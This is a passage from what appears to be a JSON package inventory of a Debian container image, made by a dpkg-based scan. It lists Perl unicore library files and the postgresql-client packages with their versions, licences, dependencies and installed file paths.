"/usr/share/perl/5.40.1/unicore/lib/Scx/Mlym.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Mong.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Mult.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Mymr.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Nand.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Nko.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Orya.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Phlp.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Rohg.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Shrd.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Sind.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Sinh.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Syrc.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Tagb.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Takr.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Talu.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Taml.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Tang.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Telu.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Thaa.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Tibt.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Tirh.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Vith.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Xsux.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Yezi.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Yi.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Zinh.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Zyyy.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Zzzz.pl", "/usr/share/perl/5.40.1/unicore/lib/Term/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/UIdeo/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Upper/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/VS/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Vo/R.pl", "/usr/share/perl/5.40.1/unicore/lib/Vo/Tr.pl", "/usr/share/perl/5.40.1/unicore/lib/Vo/Tu.pl", "/usr/share/perl/5.40.1/unicore/lib/Vo/U.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/EX.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/Extend.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/FO.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/HL.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/KA.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/LE.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/MB.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/ML.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/MN.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/NU.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/WSegSpac.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/XX.pl", "/usr/share/perl/5.40.1/unicore/lib/XIDC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/XIDS/Y.pl", "/usr/share/perl/5.40.1/unicore/uni_keywords.pl", "/usr/share/perl/5.40.1/unicore/version", "/usr/share/perl/5.40.1/utf8.pm", "/usr/share/perl/5.40.1/vars.pm", "/usr/share/perl/5.40.1/version.pm", "/usr/share/perl/5.40.1/version.pod", "/usr/share/perl/5.40.1/version/Internals.pod", "/usr/share/perl/5.40.1/version/regex.pm", "/usr/share/perl/5.40.1/vmsish.pm", "/usr/share/perl/5.40.1/warnings.pm", "/usr/share/perl/5.40.1/warnings/register.pm" ], "AnalyzedBy": "dpkg" }, { "ID": "postgresql-client@17+278", "Name": "postgresql-client", "Identifier": { "PURL": "pkg:deb/debian/postgresql-client@17%2B278?arch=all\u0026distro=debian-13.6", "UID": "f5d7faae197398f0" }, "Version": "17+278", "Arch": "all", "SrcName": "postgresql-common", "SrcVersion": "278", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian PostgreSQL Maintainers \u003cteam+postgresql@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "postgresql-client-17@17.10-0+deb13u1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/doc/postgresql-client/changelog.gz", "/usr/share/doc/postgresql-client/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "postgresql-client-17@17.10-0+deb13u1", "Name": "postgresql-client-17", "Identifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "Version": "17.10", "Release": "0+deb13u1", "Arch": "amd64", "SrcName": "postgresql-17", "SrcVersion": "17.10", "SrcRelease": "0+deb13u1", "Licenses": [ "PostgreSQL", "Custom-regex", "TCL", "Custom-pg_dump", "BSD-3-Clause", "Custom-Unicode", "double-metaphone", "GPL-1.0-only", "Artistic-2.0", "nagaysau-ishii", "BSD-2-Clause" ], "Maintainer": "Debian PostgreSQL Maintainers \u003cteam+postgresql@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "liblz4-1@1.10.0-4", "libpq5@17.10-0+deb13u1", "libreadline8t64@8.2-6", "libssl3t64@3.5.6-1~deb13u2", "libzstd1@1.5.7+dfsg-1", "postgresql-client-common@278", "sensible-utils@0.0.25", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/postgresql/17/bin/clusterdb", "/usr/lib/postgresql/17/bin/createdb", "/usr/lib/postgresql/17/bin/createuser", "/usr/lib/postgresql/17/bin/dropdb", "/usr/lib/postgresql/17/bin/dropuser", "/usr/lib/postgresql/17/bin/pg_amcheck", "/usr/lib/postgresql/17/bin/pg_basebackup", "/usr/lib/postgresql/17/bin/pg_combinebackup", "/usr/lib/postgresql/17/bin/pg_config", "/usr/lib/postgresql/17/bin/pg_dump", "/usr/lib/postgresql/17/bin/pg_dumpall", "/usr/lib/postgresql/17/bin/pg_isready", "/usr/lib/postgresql/17/bin/pg_receivewal", "/usr/lib/postgresql/17/bin/pg_recvlogical", "/usr/lib/postgresql/17/bin/pg_restore", "/usr/lib/postgresql/17/bin/pg_verifybackup", "/usr/lib/postgresql/17/bin/psql", "/usr/lib/postgresql/17/bin/reindexdb", "/usr/lib/postgresql/17/bin/vacuumdb", "/usr/lib/postgresql/17/lib/pgxs/config/install-sh", "/usr/lib/postgresql/17/lib/pgxs/config/missing", "/usr/lib/postgresql/17/lib/pgxs/src/Makefile.global", "/usr/lib/postgresql/17/lib/pgxs/src/Makefile.port", "/usr/lib/postgresql/17/lib/pgxs/src/Makefile.shlib", "/usr/lib/postgresql/17/lib/pgxs/src/makefiles/pgxs.mk", "/usr/lib/postgresql/17/lib/pgxs/src/nls-global.mk", "/usr/lib/postgresql/17/lib/pgxs/src/test/isolation/isolationtester", "/usr/lib/postgresql/17/lib/pgxs/src/test/isolation/pg_isolation_regress", "/usr/lib/postgresql/17/lib/pgxs/src/test/perl/PostgreSQL/Test/BackgroundPsql.pm", "/usr/lib/postgresql/17/lib/pgxs/src/test/perl/PostgreSQL/Test/Cluster.pm", "/usr/lib/postgresql/17/lib/pgxs/src/test/perl/PostgreSQL/Test/RecursiveCopy.pm", "/usr/lib/postgresql/17/lib/pgxs/src/test/perl/PostgreSQL/Test/SimpleTee.pm", "/usr/lib/postgresql/17/lib/pgxs/src/test/perl/PostgreSQL/Test/Utils.pm", "/usr/lib/postgresql/17/lib/pgxs/src/test/perl/PostgreSQL/Version.pm", "/usr/lib/postgresql/17/lib/pgxs/src/test/regress/pg_regress", "/usr/share/doc/postgresql-client-17/changelog.Debian.gz", "/usr/share/doc/postgresql-client-17/changelog.gz", "/usr/share/doc/postgresql-client-17/copyright", "/usr/share/lintian/overrides/postgresql-client-17", "/usr/share/locale/cs/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/cs/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/cs/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/cs/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/cs/LC_MESSAGES/psql-17.mo", "/usr/share/locale/de/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/de/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/de/LC_MESSAGES/pg_combinebackup-17.mo", "/usr/share/locale/de/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/de/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/de/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/de/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/de/LC_MESSAGES/psql-17.mo", "/usr/share/locale/el/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/el/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/el/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/el/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/el/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/el/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/el/LC_MESSAGES/psql-17.mo", "/usr/share/locale/es/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/es/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/es/LC_MESSAGES/pg_combinebackup-17.mo", "/usr/share/locale/es/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/es/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/es/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/es/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/es/LC_MESSAGES/psql-17.mo", "/usr/share/locale/fr/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/fr/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/fr/LC_MESSAGES/pg_combinebackup-17.mo", "/usr/share/locale/fr/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/fr/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/fr/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/fr/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/fr/LC_MESSAGES/psql-17.mo", "/usr/share/locale/he/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/he/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/he/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/he/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/he/LC_MESSAGES/psql-17.mo", "/usr/share/locale/it/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/it/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/it/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/it/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/it/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/it/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/it/LC_MESSAGES/psql-17.mo", "/usr/share/locale/ja/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/ja/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/ja/LC_MESSAGES/pg_combinebackup-17.mo", "/usr/share/locale/ja/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/ja/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/ja/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/ja/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/ja/LC_MESSAGES/psql-17.mo", "/usr/share/locale/ka/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/ka/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/ka/LC_MESSAGES/pg_combinebackup-17.mo", "/usr/share/locale/ka/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/ka/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/ka/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/ka/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/ka/LC_MESSAGES/psql-17.mo", "/usr/share/locale/ko/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/ko/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/ko/LC_MESSAGES/pg_combinebackup-17.mo", "/usr/share/locale/ko/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/ko/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/ko/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/ko/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/ko/LC_MESSAGES/psql-17.mo", "/usr/share/locale/nb/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/pl/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/pl/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/pl/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/pl/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/pl/LC_MESSAGES/psql-17.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/psql-17.mo", "/usr/share/locale/ro/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/ru/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/ru/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/ru/LC_MESSAGES/pg_combinebackup-17.mo", "/usr/share/locale/ru/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/ru/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/ru/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/ru/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/ru/LC_MESSAGES/psql-17.mo", "/usr/share/locale/sv/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/sv/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/sv/LC_MESSAGES/pg_combinebackup-17.mo", "/usr/share/locale/sv/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/sv/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/sv/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/sv/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/sv/LC_MESSAGES/psql-17.mo", "/usr/share/locale/ta/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/tr/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/tr/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/tr/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/tr/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/tr/LC_MESSAGES/psql-17.mo", "/usr/share/locale/uk/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/uk/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/uk/LC_MESSAGES/pg_combinebackup-17.mo", "/usr/share/locale/uk/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/uk/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/uk/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/uk/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/uk/LC_MESSAGES/psql-17.mo", "/usr/share/locale/vi/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/vi/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/pg_basebackup-17.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/pgscripts-17.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/psql-17.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/pg_amcheck-17.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/pg_config-17.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/pg_dump-17.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/pg_verifybackup-17.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/psql-17.mo", "/usr/share/postgresql/17/man/man1/clusterdb.1.gz", "/usr/share/postgresql/17/man/man1/createdb.1.gz", "/usr/share/postgresql/17/man/man1/createuser.1.gz", "/usr/share/postgresql/17/man/man1/dropdb.1.gz", "/usr/share/postgresql/17/man/man1/dropuser.1.gz", "/usr/share/postgresql/17/man/man1/pg_amcheck.1.gz", "/usr/share/postgresql/17/man/man1/pg_basebackup.1.gz", "/usr/share/postgresql/17/man/man1/pg_combinebackup.1.gz", "/usr/share/postgresql/17/man/man1/pg_dump.1.gz", "/usr/share/postgresql/17/man/man1/pg_dumpall.1.gz", "/usr/share/postgresql/17/man/man1/pg_isready.1.gz", "/usr/share/postgresql/17/man/man1/pg_receivewal.1.gz", "/usr/share/postgresql/17/man/man1/pg_recvlogical.1.gz", "/usr/share/postgresql/17/man/man1/pg_restore.1.gz", "/usr/share/postgresql/17/man/man1/pg_verifybackup.1.gz", "/usr/share/postgresql/17/man/man1/psql.1.gz", "/usr/share/postgresql/17/man/man1/reindexdb.1.gz", "/usr/share/postgresql/17/man/man1/vacuumdb.1.gz", "/usr/share/postgresql/17/man/man7/ABORT.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_AGGREGATE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_COLLATION.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_CONVERSION.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_DATABASE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_DEFAULT_PRIVILEGES.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_DOMAIN.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_EVENT_TRIGGER.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_EXTENSION.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_FOREIGN_DATA_WRAPPER.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_FOREIGN_TABLE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_FUNCTION.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_GROUP.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_INDEX.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_LANGUAGE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_LARGE_OBJECT.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_MATERIALIZED_VIEW.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_OPERATOR.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_OPERATOR_CLASS.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_OPERATOR_FAMILY.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_POLICY.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_PROCEDURE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_PUBLICATION.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_ROLE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_ROUTINE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_RULE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_SCHEMA.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_SEQUENCE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_SERVER.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_STATISTICS.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_SUBSCRIPTION.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_SYSTEM.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_TABLE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_TABLESPACE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_TEXT_SEARCH_CONFIGURATION.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_TEXT_SEARCH_DICTIONARY.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_TEXT_SEARCH_PARSER.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_TEXT_SEARCH_TEMPLATE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_TRIGGER.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_TYPE.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_USER.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_USER_MAPPING.7.gz", "/usr/share/postgresql/17/man/man7/ALTER_VIEW.7.gz", "/usr/share/postgresql/17/man/man7/ANALYZE.7.gz", "/usr/share/postgresql/17/man/man7/BEGIN.7.gz", "/usr/share/postgresql/17/man/man7/CALL.7.gz", "/usr/share/postgresql/17/man/man7/CHECKPOINT.7.gz", "/usr/share/postgresql/17/man/man7/CLOSE.7.gz", "/usr/share/postgresql/17/man/man7/CLUSTER.7.gz", "/usr/share/postgresql/17/man/man7/COMMENT.7.gz", "/usr/share/postgresql/17/man/man7/COMMIT.7.gz", "/usr/share/postgresql/17/man/man7/COMMIT_PREPARED.7.gz", "/usr/share/postgresql/17/man/man7/COPY.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_ACCESS_METHOD.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_AGGREGATE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_CAST.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_COLLATION.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_CONVERSION.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_DATABASE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_DOMAIN.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_EVENT_TRIGGER.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_EXTENSION.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_FOREIGN_DATA_WRAPPER.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_FOREIGN_TABLE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_FUNCTION.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_GROUP.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_INDEX.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_LANGUAGE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_MATERIALIZED_VIEW.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_OPERATOR.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_OPERATOR_CLASS.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_OPERATOR_FAMILY.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_POLICY.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_PROCEDURE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_PUBLICATION.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_ROLE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_RULE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_SCHEMA.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_SEQUENCE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_SERVER.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_STATISTICS.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_SUBSCRIPTION.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_TABLE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_TABLESPACE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_TABLE_AS.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_TEXT_SEARCH_CONFIGURATION.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_TEXT_SEARCH_DICTIONARY.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_TEXT_SEARCH_PARSER.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_TEXT_SEARCH_TEMPLATE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_TRANSFORM.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_TRIGGER.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_TYPE.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_USER.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_USER_MAPPING.7.gz", "/usr/share/postgresql/17/man/man7/CREATE_VIEW.7.gz", "/usr/share/postgresql/17/man/man7/DEALLOCATE.7.gz", "/usr/share/postgresql/17/man/man7/DECLARE.7.gz", "/usr/share/postgresql/17/man/man7/DELETE.7.gz", "/usr/share/postgresql/17/man/man7/DISCARD.7.gz", "/usr/share/postgresql/17/man/man7/DO.7.gz", "/usr/share/postgresql/17/man/man7/DROP_ACCESS_METHOD.7.gz", "/usr/share/postgresql/17/man/man7/DROP_AGGREGATE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_CAST.7.gz", "/usr/share/postgresql/17/man/man7/DROP_COLLATION.7.gz", "/usr/share/postgresql/17/man/man7/DROP_CONVERSION.7.gz", "/usr/share/postgresql/17/man/man7/DROP_DATABASE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_DOMAIN.7.gz", "/usr/share/postgresql/17/man/man7/DROP_EVENT_TRIGGER.7.gz", "/usr/share/postgresql/17/man/man7/DROP_EXTENSION.7.gz", "/usr/share/postgresql/17/man/man7/DROP_FOREIGN_DATA_WRAPPER.7.gz", "/usr/share/postgresql/17/man/man7/DROP_FOREIGN_TABLE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_FUNCTION.7.gz", "/usr/share/postgresql/17/man/man7/DROP_GROUP.7.gz", "/usr/share/postgresql/17/man/man7/DROP_INDEX.7.gz", "/usr/share/postgresql/17/man/man7/DROP_LANGUAGE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_MATERIALIZED_VIEW.7.gz", "/usr/share/postgresql/17/man/man7/DROP_OPERATOR.7.gz", "/usr/share/postgresql/17/man/man7/DROP_OPERATOR_CLASS.7.gz", "/usr/share/postgresql/17/man/man7/DROP_OPERATOR_FAMILY.7.gz", "/usr/share/postgresql/17/man/man7/DROP_OWNED.7.gz", "/usr/share/postgresql/17/man/man7/DROP_POLICY.7.gz", "/usr/share/postgresql/17/man/man7/DROP_PROCEDURE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_PUBLICATION.7.gz", "/usr/share/postgresql/17/man/man7/DROP_ROLE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_ROUTINE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_RULE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_SCHEMA.7.gz", "/usr/share/postgresql/17/man/man7/DROP_SEQUENCE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_SERVER.7.gz", "/usr/share/postgresql/17/man/man7/DROP_STATISTICS.7.gz", "/usr/share/postgresql/17/man/man7/DROP_SUBSCRIPTION.7.gz", "/usr/share/postgresql/17/man/man7/DROP_TABLE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_TABLESPACE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_TEXT_SEARCH_CONFIGURATION.7.gz", "/usr/share/postgresql/17/man/man7/DROP_TEXT_SEARCH_DICTIONARY.7.gz", "/usr/share/postgresql/17/man/man7/DROP_TEXT_SEARCH_PARSER.7.gz", "/usr/share/postgresql/17/man/man7/DROP_TEXT_SEARCH_TEMPLATE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_TRANSFORM.7.gz", "/usr/share/postgresql/17/man/man7/DROP_TRIGGER.7.gz", "/usr/share/postgresql/17/man/man7/DROP_TYPE.7.gz", "/usr/share/postgresql/17/man/man7/DROP_USER.7.gz", "/usr/share/postgresql/17/man/man7/DROP_USER_MAPPING.7.gz", "/usr/share/postgresql/17/man/man7/DROP_VIEW.7.gz", "/usr/share/postgresql/17/man/man7/END.7.gz", "/usr/share/postgresql/17/man/man7/EXECUTE.7.gz", "/usr/share/postgresql/17/man/man7/EXPLAIN.7.gz", "/usr/share/postgresql/17/man/man7/FETCH.7.gz", "/usr/share/postgresql/17/man/man7/GRANT.7.gz", "/usr/share/postgresql/17/man/man7/IMPORT_FOREIGN_SCHEMA.7.gz", "/usr/share/postgresql/17/man/man7/INSERT.7.gz", "/usr/share/postgresql/17/man/man7/LISTEN.7.gz", "/usr/share/postgresql/17/man/man7/LOAD.7.gz", "/usr/share/postgresql/17/man/man7/LOCK.7.gz", "/usr/share/postgresql/17/man/man7/MERGE.7.gz", "/usr/share/postgresql/17/man/man7/MOVE.7.gz", "/usr/share/postgresql/17/man/man7/NOTIFY.7.gz", "/usr/share/postgresql/17/man/man7/PREPARE.7.gz", "/usr/share/postgresql/17/man/man7/PREPARE_TRANSACTION.7.gz", "/usr/share/postgresql/17/man/man7/REASSIGN_OWNED.7.gz", 